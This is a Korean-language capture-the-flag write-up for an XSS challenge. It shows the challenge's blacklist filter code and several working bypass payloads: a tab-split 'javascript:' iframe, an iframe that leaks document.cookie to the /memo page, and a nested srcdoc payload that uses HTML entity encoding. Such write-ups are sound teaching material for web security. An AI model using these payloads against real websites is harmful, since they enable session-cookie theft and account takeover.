Write-Up
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
filtering 조건들이 이전에 비해 많이 추가되었고, filtering하는 패턴과 일치 시, 곧바로, "filtered!!!" 메시지를 반환한다.
<iframe src="javas%09cript:alert%2528123%2529">
iframe 과 javascript: 를 사용하는데, %09(tab)를 사용해 filtering을 우회하고자 했다. ( vuln 페이지에 exploit )
이제, /memo 페이지에 domain을 찍어보도록 한다. vuln 페이지에 직접 exploit을 한다.
성공적으로 /memo 페이지에 domain이 찍힌 것을 iframe을 통해 확인할 수 있었다. 이제 /flag 페이지에 exploit을 시도해본다. ( /flag 페이지에 요청 시, {urllib.parse.quote(param)} 에 의해, 인코딩되므로, 디코딩을 한번 한 상태로 보내줘야 한다. )
<iframe src="javas cript:locatio n.href='/memo?memo='+do cument.cookie">
위 payload를 보내면, flag를 얻을 수 있다.
추가적으로 아래와 같은 payload도 사용할 수 있다.
<iframe srcdoc="<iframe srcdoc='<&#x73;cript>locati&#x6f;n.href=`memo?memo=`+&#x64;ocument.cookie</&#x73;cript>'></iframe>"></iframe>
srcdoc 속성을 이용해 inner frame 내에 새로운 XSS 공격 코드를 입력하는 것이 가능하고, 이때 HTML 속성 내에 들어가기 때문에 HTML Entity Encoding으로 기존 필터링을 우회하는 것이 가능하다고 하였다. attribute에 들어간 html encoding 같은 경우는 브라우저에서 알아서 해석되어 실행되기 때문이다. 그렇기 때문에 위와 같이 srcdoc을 2번 타고 들어간다면 2번 해석되어 &# 필터링 우회 시도가 가능하다.